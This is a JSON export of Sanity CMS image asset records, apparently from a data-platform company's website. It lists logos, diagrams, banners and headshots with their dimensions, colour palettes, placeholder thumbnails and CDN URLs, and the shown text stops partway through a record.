{"_createdAt":"2023-05-03T11:46:14Z","_id":"image-6e90fc01bdfb5bfb164e298bd8f64994847611b2-512x512-jpg","_rev":"ZrBNbC380XNyJkvtZUowSi","_type":"sanity.imageAsset","_updatedAt":"2023-05-03T11:46:14Z","assetId":"6e90fc01bdfb5bfb164e298bd8f64994847611b2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMH21b-=R$rpR6}7=_WBRjt6o~-;%3R-V?tloftRxuIUpIkrbvayWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYFBP/EACgQAAICAQMBBwUAAAAAAAAAAAECAwQABRESMQYTFCIyQVEhYXGBwf/EABYBAQEBAAAAAAAAAAAAAAAAAAUCBP/EACARAAICAQMFAAAAAAAAAAAAAAABAhEDBBIhExQiYXH/2gAMAwEAAhEDEQA/AKer231K7ImnwW47TzeVVkX+5Kdpqt7SbLLKiPM/o4HcA+5OctGSQXoZlrcEgY+gbdfvmnpTVdV1WaG6wSILy5u53X8fJzM9PKEN12/ZsWqhkbVV8JenQmSHeWNndmLFiOu/vjNO9PLStSQQPIIVPk7w/Uj5xk9GcuSe4guKNeraksFzJx2hOygDYfvJ9ZH8dzDEMrdRjGN514gOBvcNdVZr3eOo5Mg32xjGGWIH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304450","foreground":"#fff","population":2.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#614129","foreground":"#fff","population":1.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a36c54","foreground":"#fff","population":6.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb3a7","foreground":"#000","population":2.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4c6d9","foreground":"#000","population":0.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36c54","foreground":"#fff","population":6.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c05c22","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"E02TH02S2F3-U02LPQPRB2B-209ebcf8cc74-512.jpeg","path":"images/sczeoy4w/production/6e90fc01bdfb5bfb164e298bd8f64994847611b2-512x512.jpg","sha1hash":"6e90fc01bdfb5bfb164e298bd8f64994847611b2","size":28309,"uploadId":"FP6oUELgshYmXUC7ql96lbi0TZo5QaWW","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e90fc01bdfb5bfb164e298bd8f64994847611b2-512x512.jpg"} {"_createdAt":"2022-08-15T15:40:16Z","_id":"image-6ecd33d3211670069519e978eec3e5d284a33877-48x48-svg","_rev":"rNS8YJd9MRCX8QHFL8dhhf","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:40:16Z","assetId":"6ecd33d3211670069519e978eec3e5d284a33877","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEDklEQVQ4jYVVXUyTZxT+uJA4nLsAwUkibI5C202KY2zAsK4121RMzJw/bGbqSByD6cwWfhTR1MBKgM7gZqbG7NI7GzVilpC4CxMvtquiKfETyT77R8tX+jMphfpxzvK8LQibyZqc5O15z/u87znnOc8nXb/+m+TzBSRmlu7fH82S5cd5iuK1BgLBHlUN/x6JxAKxWHwOFolEA/AFAsFuxCB2ZGQ0C2e93oDkdN6WBNjVq07J7ZazFcWrD4XUlmg07kwkZuRUKhXVNG1uPvPDGj7sISYYVJsVxVvmdj/MdjhuCFDxMoA9eeKrUNWpnunpxEgq9SyhafM8k0yyGo6w1x8QhjV82EMMYlV1qsfj8VUAFFgiTbwMG4nEzJimaVoyOctj43/RjaFhGhi8RO2n7cIGBi/TzaFhwh5iEJtIzDzCWbwUWJIsj+chTdyGgL+fTtPde3/QSVsfWXbspxKTmQp1VcJ0JrPwddr6RAxiNU3TcDYUmmyW5ce5Eoobi8WdSAG3IvDIsRP0RvlmXr3OSC/ll9LK/FJeuUbHWMOHvSPHOgRoMjkr0geGongsErqJIqMuSAUvw4GcAj2tWqtn2MuvGviVQiMuEP9XrdVTSbmZ8dKxcYVwFhjovgQaoHMoNurzwfZ9lFtULkB1FVs4//VNvGFjHb9n2cWb3t/O8G/YuJkLS6vIWt8g6px+ZSqqquE7EngGOqCDA+cv42YqMtTQ543f8sGvvuO363Zw/Z4vua3LzsfbbXyo6XtuOHyUK2q3kb7SSv2Dlyg8FUGD5iKRmF8CYcExr3+C27vstN5QTdWWXdzdd57tjgu894tm1It7f/yFz/YO8klbH7ee6uG6jz7lYmMttXXZyeefYGDEYvHZRUA42079QIZKK+072MLnLlzhcz9fgY87zvRyT/9P3NjSxvsPfcNHW8+wedteLjbW/BcwnfL8HJ6N59ds/YR2H2iixpZWkfLXxzuF4RJ9pZWNVVt594Emfse88wUpR/3LmoIC1+85LAJfe7OWiww1/Na7H3J59ceM/+hyXrGJS0xmXq+vJuvOzwTRF5oyORm+A9p0L6VN59l+kJlzCsoop6BMUAZAq9cZxDpNI72I6bT1L9CGFmkDYmPQlxO7Yzmx1+gY5F5O7BMvILbXIkGCgsHJ5oXRe5oZPZAWY6YzbfnX6DWILO7e+3Pp6LlCITU9ei6XEIeyjDg8ei4OCt28PUzgZsfpXmFYw4e9jDg8WyoODx6MZmXk62G2x+MzZeTLtSBfyUX5mhCGNXyoWUa+XBn5Mrnd8gohXxBFh+OWAMUtUA3U438FNhZ3Is20wMorLl78VYi1dO3akABd8gnIRXHRMcwmxgmEhYFnoEb6E+CxIBZnnn8Cbkn/AFRwaIhJ8PEbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3f4a","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#081223","foreground":"#fff","population":13.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#081223","foreground":"#fff","population":13.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbac2","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecf4","foreground":"#000","population":0.82,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808494","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f6acf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-rest-api.svg","path":"images/sczeoy4w/production/6ecd33d3211670069519e978eec3e5d284a33877-48x48.svg","sha1hash":"6ecd33d3211670069519e978eec3e5d284a33877","size":1353,"uploadId":"hNy28bkVZMiXL3BCDDeGcEowNHCJW2KA","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ecd33d3211670069519e978eec3e5d284a33877-48x48.svg"} {"_createdAt":"2023-03-14T17:26:28Z","_id":"image-6ecf1e65d28878cb6e079b66cafb880431374f6d-1742x698-png","_rev":"PtcbeTT1U4ksBtB0qw3QP5","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:27:22Z","altText":null,"assetId":"6ecf1e65d28878cb6e079b66cafb880431374f6d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.495702005730659,"height":698,"width":1742},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8UlEQVQYlW2R22rDMBBE/f9/6bSkDcaSVqu9W3KxDW0Seh4HNIPOTvsrsXViZbXe+5Vs24aIpZRa63qiqmOMfd+n55djDDVLgIDNI8ZJRADAsiyPx2Oe59vtVmvtvY8xpv5ExCYi2Boxm1lEnGEwMwDknNd1LaWISJxMRNRaIyJmVlUWwgai7O7MTHS0uPtRithaE1VstKac8jrlnFNKOWdEVNFzGUSPbiICqCLi7kfvhUgq8PF1v39/Tsx8LatqeAgrAvopLCJU9Vq+MDM1I2aotSL8/XmM0XtXEkzV1X4VPkt548X2cRgzr9jN3/J/+QFIotF8cW0VZwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535552","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#726c12","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#535552","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfbec","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0636d","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcd022","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-single-producer-lost.png","path":"images/sczeoy4w/production/6ecf1e65d28878cb6e079b66cafb880431374f6d-1742x698.png","sha1hash":"6ecf1e65d28878cb6e079b66cafb880431374f6d","size":59490,"title":null,"uploadId":"1bPzGvanPtKu2FdNzYCzdoS0EllO4AhG","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ecf1e65d28878cb6e079b66cafb880431374f6d-1742x698.png"} {"_createdAt":"2023-04-12T11:15:37Z","_id":"image-6ee47cf892bef21ebfdc9021bcd99a36171effcb-1567x844-png","_rev":"5XbIyfqcIkGlU3arGFUzro","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T11:15:37Z","assetId":"6ee47cf892bef21ebfdc9021bcd99a36171effcb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75iBU_4t6IUM{?v%gWBM_RjRQRPRjoLt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAABqUlEQVQokX3OW0vbUAAH8Jw0iRs0yWqK4BgIexg0J03VnJM0VVar6xAcfelWrYKt1lybnFSHD0NwPtSsQ2vYNx6JFLyg8Hv9X6g3Ff8dJgUUiqvBPCYSIhImkh5JiIirAVt2gWxTL5k3T5XWb609VlpXWntsdOLqblzrTsy9P/K3S1EnADovhotrZ9r3cf3wpnbw9/PhTaM/3Tq+27b+NQcJbF3xKHxtebF+rnfiRn+60bvdPJo2B0lzkGz278zuZGnr15zqvRZ+Xz/HnXijd9voTb8MkuZJUtuffPx6sbD+M4/CnPL0M5jJbpun8s4lao+NH9dr3Ul1N/60fZHXQho6ADpPZmnZZlJWDlo0tCiu7AkrQQGFEiZFYyTpJL/sPx+838zJNifbLLRSikWBUtpHl1KgZN17kHEo6ALoUtkRZhZmMtRbxRKXXUEL5io+Lac/H3MA9AH0QFZBQ4eBDgttVsmWpYr9wRgurp+JmHCqyyou81DZY9Uhq/ozQ071OdXjVJdTXUrCwUI1LJqjghEJKOSfERARcShiIuCI10cCjgRMeBzxePQfb0KZ5SR3pQcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3865","foreground":"#fff","population":0.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":68.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":68.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c8f8","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607494","foreground":"#fff","population":0.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54c54","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"your_developer_environm,ents_managed_blog.png","path":"images/sczeoy4w/production/6ee47cf892bef21ebfdc9021bcd99a36171effcb-1567x844.png","sha1hash":"6ee47cf892bef21ebfdc9021bcd99a36171effcb","size":71102,"uploadId":"l5Vq1O14cichSxEBBed4Vy2EGoUdi0xf","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ee47cf892bef21ebfdc9021bcd99a36171effcb-1567x844.png"} {"_createdAt":"2023-09-06T15:12:07Z","_id":"image-6f02666262f9cbd0b1519943b73dd132b0dc00df-2000x500-png","_rev":"Dk4vsGyYpr9Xi9g7qy6Ztu","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T15:12:48Z","altText":"Google Cloud partner of the year reward","assetId":"6f02666262f9cbd0b1519943b73dd132b0dc00df","description":"Google Cloud partner of the year reward","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":500,"width":2000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAA40lEQVQYlU2Q247CMAxE+f8/BPFAYW9tBQm5tbGTnFVaVqylkSzZOp7xoTVordFqQYqyaCYXRYsiIptUhVIKpRayRFx6MMcH8+KIslJbpbFzDvAGqmaCJOzqGe8zw/XK5XLhdrsxjhPee9bFEvzI9Jz59AabI6XWjvkDtq2ptaK6EiViF8/X+M3pdOJ4PHI+nxmGgWkaCd6Qwh3jDHN0hJfDf8C96XG6Qy1CViGmyNMarLU45zZ1h2mJpOAI1pBi2F6zJeyCHVhbI1dF6z58PeSt19G+Jyokeyf+fLBYg+ob2OsX58WEpMvsxeAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42936d","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a1a2","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6daff4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946466","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14ac64","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"banner-gcp-partner-of-the-year.png","path":"images/sczeoy4w/production/6f02666262f9cbd0b1519943b73dd132b0dc00df-2000x500.png","sha1hash":"6f02666262f9cbd0b1519943b73dd132b0dc00df","size":217895,"title":null,"uploadId":"C0G7fjzpIXibuQqGmv4HLf8kR0OnJ0Z4","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f02666262f9cbd0b1519943b73dd132b0dc00df-2000x500.png"} {"_createdAt":"2023-04-04T13:05:44Z","_id":"image-6f04c26928c39365b6a31420fb502f73820f2d54-512x512-jpg","_rev":"Styc4gDlJKHLbexhI1Ryy3","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T13:05:44Z","assetId":"6f04c26928c39365b6a31420fb502f73820f2d54","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIIykWLz-qyY.849^QKj%M-p9a#ltlw0Nb57Ef={NHjYr=aJ$iX9WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAUGAwT/xAAkEAACAQQCAQQDAAAAAAAAAAABAgMABAURBkEhEhMUMQcyUf/EABcBAAMBAAAAAAAAAAAAAAAAAAIEBQb/xAAiEQABAwMDBQAAAAAAAAAAAAABAAIDBBESBQbBQUJRcYH/2gAMAwEAAhEDEQA/AH5W46mb5th5/eAt5Yj7oc6VQvdQeTcDkssYc1i5UiMQ9SMnYrvy/MrLdY6a5Dm2RGVgp8mp93y12x0+JxpY4+T7mmPiLf2BQSTuyv4VOlow9mIFyVjPnyZFEubmMJKw02u9d0rcW0NrDbQxxxRsqoACw8mlLHWiO1WRs5hFzJb4o0w+Vhc/NMSZEk9Cnf6gfyvFjCJbOJXVSrAEjVKUpKTiffAVajaA9oA6clWOhqlKUgtCv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d2e32","foreground":"#fff","population":7.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#640f0e","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e02f25","foreground":"#fff","population":7.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1a79f","foreground":"#000","population":2.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6755f","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0776f","foreground":"#fff","population":3.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e02f25","foreground":"#fff","population":7.39,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Murad Biashimov.jpeg","path":"images/sczeoy4w/production/6f04c26928c39365b6a31420fb502f73820f2d54-512x512.jpg","sha1hash":"6f04c26928c39365b6a31420fb502f73820f2d54","size":80226,"uploadId":"Wi1WpY4Bw2mZoYrxXBshs8tDlMMpSxf0","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f04c26928c39365b6a31420fb502f73820f2d54-512x512.jpg"} {"_createdAt":"2024-08-08T12:49:40Z","_id":"image-6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428-png","_rev":"msvVOwV0ly404Y5JqAls5x","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T12:49:40Z","assetId":"6f1102d45db7e8803ba6d8d22897efc454bbb1e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4BPj0|aj}l:jm^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.906542056074766,"height":428,"width":2528},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA70lEQVQImQXB206DMAAAUP5cTfwEn9S47JLxoM654CAMBMI2JtJwWaGwtbTdoBDJNJr4rOdIPwdWnvL0u8PFUtTHIS33jOCcU1GNqkq4HJMTY0eT00rGUSpwnGLBaV+Q5J1tvc+6hE7DS4PB7Rcr8j+pcxaoMtXu4OiWF2/uptFmNwk9PEthT4v2puqjRvULzXLQwFYBtbUgS97cW5Lcr1AwbBl61jlJFATTFmXZr9RoU4Wqs5AZysAKnHMZLF/HYGXLSXzx6Oe9pzUEkzW6mevwcvECXGMe6MA1znbRSM5AH/D84fqjLa5E0/i1EOE/P7y/lBQqhSoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b325d","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2da9ad","foreground":"#fff","population":2.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac5854","foreground":"#fff","population":4.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09c9b","foreground":"#000","population":2.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0bfa2","foreground":"#000","population":0.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5854","foreground":"#fff","population":4.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6b42e","foreground":"#000","population":2.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"g2-reviews-badges-summer-2024.png","path":"images/sczeoy4w/production/6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428.png","sha1hash":"6f1102d45db7e8803ba6d8d22897efc454bbb1e5","size":49785,"uploadId":"N37YeQZXLCRyhw89QFq4urrdHFcesBLh","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428.png"} {"_createdAt":"2022-10-01T19:31:39Z","_id":"image-6f198517d7fedd60525e67a7b183d0505e0a98b4-85x14-svg","_rev":"vDQRRYe9nRreptIRp7jQ3c","_type":"sanity.imageAsset","_updatedAt":"2022-10-01T19:31:39Z","assetId":"6f198517d7fedd60525e67a7b183d0505e0a98b4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"419%*Vayt7-;~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.071428571428571,"height":14,"width":85},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAe0lEQVQImS3OywqBARCG4f8qXIBSlrIhCzuUlRx7SnL4pcSCLFBYWLlrTc3ibZpper+vQAdjTNFCBVUssMYo5wErzNFHG10MscU+fgtMsEwGqKGJHa44oUxiv2dYD7OUvfGFEJ7xSEJaRyPvP7xwyYZHfLDJIhF2wzMp/wAnU/9r6SavAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":3.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a5a5a","foreground":"#fff","population":18.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5a5a","foreground":"#fff","population":18.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gov-uk.svg","path":"images/sczeoy4w/production/6f198517d7fedd60525e67a7b183d0505e0a98b4-85x14.svg","sha1hash":"6f198517d7fedd60525e67a7b183d0505e0a98b4","size":3591,"uploadId":"A6i581l5fQ2zpckJJEiywa4nB8jBlCvK","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f198517d7fedd60525e67a7b183d0505e0a98b4-85x14.svg"} {"_createdAt":"2024-03-07T15:08:49Z","_id":"image-6f2356a34e44102a6e2c8d6c37909e2542ccf309-3180x706-png","_rev":"TOsxXx20RF0WqO4quZqD5a","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:08:49Z","assetId":"6f2356a34e44102a6e2c8d6c37909e2542ccf309","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DgC%.{_M?IVaRQI-NFM{aMnl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.504249291784703,"height":706,"width":3180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABYlAAAWJQFJUiTwAAABT0lEQVQYlQFEAbv+AMzDygF1uoIFSaxbEj+nUx86pE4iP6hTJlW0ZjNXoGQyNVA5IhscGx0eIh8bHiMfGR0gHhodHR0bHR0dGh0dHRocHBweHx8fGDAxMgtobnMDAKKioka1t7VOwcnCVb3MwFu3x7pWo8aqRYrRlkuBzI1IXZZmIho4IBIkQyoVIT0mEx8qIRAdHR0PHR0dDh8fHw4WFhUPOjw+Gmdtcy15gIcwAJ6fn5awsLCkwMDAqMTExKrCwsKfuMG6aZrPozuG1pMqbLx6Eh9yLgcrcTgIJl4wBiE5JQQdHR0DHh4eAy0vMAMAAAACaW91H3mAh2N9hIx+AKGhoXqysrKEwMDAiMXFxonGxsaAwsTCTq7DshRJwV4DYrpyAjTDTwA1uE0AMK1IAFD/jQAeKSAAf4iOAMTQ3ACcpa4AfoaNKoCHj4yAh4+8Kh13LQRPs7wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c5034","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4710","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c5034","foreground":"#fff","population":1.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b8b8","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccfcdc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#549262","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24da31","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"encoding-questions.png","path":"images/sczeoy4w/production/6f2356a34e44102a6e2c8d6c37909e2542ccf309-3180x706.png","sha1hash":"6f2356a34e44102a6e2c8d6c37909e2542ccf309","size":118896,"uploadId":"xDdasryKHH4xs3T7MubHFg0MeCdY1RVI","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f2356a34e44102a6e2c8d6c37909e2542ccf309-3180x706.png"} {"_createdAt":"2023-09-07T06:47:55Z","_id":"image-6f5907b0d39e66e2ebe93549aac4e4bf5da04a28-1600x800-webp","_rev":"jBJgpqpGruZvOgVMUC3lIH","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T06:47:55Z","assetId":"6f5907b0d39e66e2ebe93549aac4e4bf5da04a28","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8GH|--P00_04;}]^i9aWEWB0xNH-E,^NF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":800,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EAB8QAAIBBAMBAQAAAAAAAAAAAAECAwAEBiEFERJBUv/EABYBAQEBAAAAAAAAAAAAAAAAAAUBBP/EABkRAQADAQEAAAAAAAAAAAAAAAEAAhESA//aAAwDAQACEQMRAD8AwcNmsrOzeGMtbwSMPZQdFdU2yTQT49ydvZSSzKI9M5+n5UxxE+pfLbUxHsGnxwI8RcxjwT+dUEXd1mrttaQTlsfnXk7lZLiGNw57UnYopluwHu52cBmL7J2aKQr7qEnAz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554128","foreground":"#fff","population":4.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e6911","foreground":"#fff","population":8.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e6911","foreground":"#fff","population":8.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2ab8a","foreground":"#000","population":6.88,"title":"#fff"},"lightVibrant":{"